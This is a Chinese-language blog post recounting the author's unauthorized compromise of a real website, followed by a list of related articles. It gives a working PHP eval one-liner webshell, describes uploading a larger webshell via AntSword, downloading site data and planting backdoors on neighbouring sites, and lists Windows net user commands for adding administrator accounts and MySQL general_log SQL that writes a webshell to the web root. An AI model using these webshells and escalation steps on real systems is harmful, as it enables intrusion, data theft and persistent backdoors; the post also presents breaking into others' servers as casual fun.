一次PHP大马提权
记一次PHP提权
发现
PHP大马:指木马病毒;PHP大马,就是PHP写的提取站点权限的程序;因为带有提权或者修改站点功能,所以称为叫木马。
自从师哥那里听说过之后,一直感叹于PHP大马的神奇...但一直没有机会。
直到有一天,某同学发来一个学习网站,随便翻了翻感觉嘿嘿嘿!还行......
试着上传一句话木马
<?php @eval($_POST['a']);?>
呃,显示上传成功...那就上蚁剑,直接连吧。
结果成了,这比我之前想的简单这么多吗???
既然到这儿了,为什么不试一下PHP大马呢?
来吧!
准备一枚PHP大马,通过蚁剑上传。
(PHP大马代码太多了,在网站直接上传的话,不容易成功)
输入密码,进入一看,我直接好家伙!毕竟是第一次去用它嘛。
网站源码都在里面了,还有网站后门。。。
发现了一个文件夹,点进去,发现了按日期排序的某些不可言明的学习资料。。。直接下载!
那为什么大马能实现这些功能呢?
通过socket或curl远程读取服务器phpapi.info上的大马数据,有意思的一点是把大马数据保存在session中,而不是写到文件中,所以要根据代码查杀是不行的。只要服务器不清除session中的数据,大马就会一直存在。
其他东西
去到上级目录,旁站的数据也看到了。。。还有赌博站、发卡站等,看了看有七八个站。
那网站源码我就存下了,学习资料也顺手留下啦!
顺便在旁站留下后门,别问,问就是为了好好学习!
我们可以新建管理用户、查看PHP版本
(这个站的PHP版本应该是7.1.33的)
还可以MYSQL提权!这我真没想到(这枚大马是师哥送我的,我也是第一次去使用它)
有了MySQL提权,我们可以试着利用日志写入webshell。直接提权的话也可以试试(反正我没试过)。
PHP大马提权过程简写
WINDOWS常见命令:
net user 查看所有用户
query user 查看当前运行中的用户
net user 用户名 密码 修改用户密码
net user 用户名 密码 /add 添加用户
net user 用户名 密码 /active 激活用户
net localgroup administrators 用户名 /add 添加管理员组
1.利用蚁剑上传cmd.exe
2.执行后,先查看所有用户,然后新建用户并将其填到管理员用户组下,用户名密码随便设置一个就好。
3.在WINDOWS10自带搜索框搜素mstsc呼出,点击远程桌面连接,输入ip即可连接服务器
MYSQL提权
MYSQL提权作用很大,我是从别处学到的,学艺不精,不敢妄语。
利用log日志写入WebShell
log日志可以保存所有的查询日志,先执行如下代码看一看基本配置:
show variables like '%general%';
当 general_log=ON 时,所查询的sql语句都会出现在log文件中。那么,如果把 general_log_file 的路径修改为 shell.php,那么所查询的sql语句就会保存在shell.php中,如果我们执行查询一个一句话,就可以getshell。
set global general_log_file = '/var/www/html/shell.php'; # 设置日志文件地址
select '<?php eval($_POST[abc]);?>'; # 查询一句话,此时日志文件shell.php中将写入webshell
set global general_log=OFF; #关闭
如果general_log=OFF的话我们还得需要设置为ON模式,再执行上面的sql语句。
set global general_log = ON;
小小看法
PHP大马和蚁剑哪个好用?我个人认为蚁剑好一些,PHP大马的功能,很多都可以利用蚁剑实现(而且我习惯用蚁剑了)。但其实也无所谓。
具体的PHP大马分析在写,有机会的话会写一个具体的PHP大马分析,并给出我的PHP大马。
一次PHP大马提权的更多相关文章
- 大马提权详细过程webshell到提权
.在shell路径这一栏里输入服务器端cmd.exe对应的绝对路径,这里用我们刚刚上传上去的smallchao.exe 8.WINDOWS常见命令:net user 查看所有用户query user ...
- 通用型正方教务(通杀各版本)存在注入(不需登陆)+获得webshell+提权内网漫游
某个接口页面存在oracle盲注,可以获得当前用户数据库,dump教师用户表,分析密文加密特征(前人研究成果+基友助攻),破译加密的密码.前台管理员登陆,后台文件上传基于黑名单原理,过滤u完全,上传特 ...
- 常用webshell提权方法总结
pcAnywhere提权:1.利用pcAnywhere提权,前提条件是pcAnywhere默认安装到默认路径,以及它的目录安全权限有users权限,如果管理员删除了users和power users用 ...
- WIN提权总结【本地存档-转载】
[ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1 ...
- Meterpreter提权详解
0x01 Meterpreter自动提权 1.生成后门程序 我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马: msfvenom -p windows/meterpr ...
- udf提权
0x00前言: udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限 0x01什么是udf: udf(Userdefined function)是用户自定义函数 在my ...
- 记一次FileZillaServer提权
前段时间检测一个企业网站,在检测该企业的一个下属公司的网站时通过用户名admin和密码123456进入了后台,后台目录就是公司汉语拼音+admin,诸如xxxadmin这种形式的.在后台通过“产品图片 ...
- [原创]IIS提权工具-VBS提权脚本免杀生成器
[原创]添加系统用户 VBS提权脚本随机加密生成器[K.8] 2011-05-05 02:42:53| 分类: 原创工具 VBS提权脚本随机加密生成器[K.8] Author: QQ吻 QQ:39 ...
- weblogic系列漏洞整理 -- 3. weblogic 后台提权
目录 三. weblogic 后台提权 0. 思路分析 1. 利用过程 2. 提示和技巧 一.weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.ht ...
随机推荐
- C语言学习之基本数据类型【一】
近期学习鸿蒙硬件物联网开发,用到的开发语言是C: 一.基础语法:第一个案例: 命令 gcc hello.c #include <stdio.h> //stdio.h 是一个头文件 , #i ...
- PostgreSQL-WITH AS短语
WITH提供了一种方式来书写在一个大型查询中使用的辅助语句.这些语句通常被称为公共表表达式或CTE,它们可以被看成是定义只在一个查询中存在的临时表.在WITH子句中的每一个辅助语句可以是一个SELEC ...
- 【秒懂音视频开发】26_RTMP服务器搭建
从本节开始,正式开启流媒体相关的内容. 流媒体 基本概念 流媒体(Streaming media),也叫做:流式媒体. 是指将一连串的多媒体数据压缩后,经过互联网分段发送数据,在互联网上即时传输影音以 ...
- Altium Designer 21.x中文版安装破解教程
Altium Designer 21.x是一款优秀的PCB设计工具,可以原理图设计.电路仿真.PCB绘制编辑.拓扑逻辑自动布线.信号完整性分析和设计输出等功能,为设计者提供了全新的设计解决方案,提高设 ...
- 通过jstack日志分析和问题排查
简介 jstack用于生成java虚拟机当前时刻的线程快照.线程快照是当前java虚拟机内每一条线程正在执行的方法堆栈的集合,生成线程快照的主要目的是定位线程出现长时间停顿的原因,如线程间死锁.死循环 ...
- Magento 2.2 SQL注入漏洞
影响版本 2.2.* poc地址 https://github.com/ambionics/magento-exploits python3 magento-sqli.py http://192.1 ...
- xss常见方式
1.<script>alert(1)</script> 2.源码第一个,[<]被转义,因此在第二个里 "><script>alert(1)&l ...
- DC-4靶机
仅供个人娱乐 靶机信息 下载地址:http://www.five86.com/downloads/DC-4.zip 一.主机扫描 arp-scan -l nmap -p 1-65535 -A -sV ...
- 一张图带你搞懂Javascript原型链关系
在某天,我听了一个老师的公开课,一张图搞懂了原型链. 老师花两天时间理解.整理的,他讲了两个小时我们当时就听懂了. 今天我把他整理出来,分享给大家.也让我自己巩固加深一下. 就是这张图: 为了更好的图 ...
- PXE高效装机
目录 一.PXE概述 二.PXE的优点 三.搭建PXE的前提 四.部署PXE远程安装服务 1.安装TFTP服务 2.修改TFTP服务的配置文件,并开启服务 关闭防火墙 3.安装DHCP服务 4.修改D ...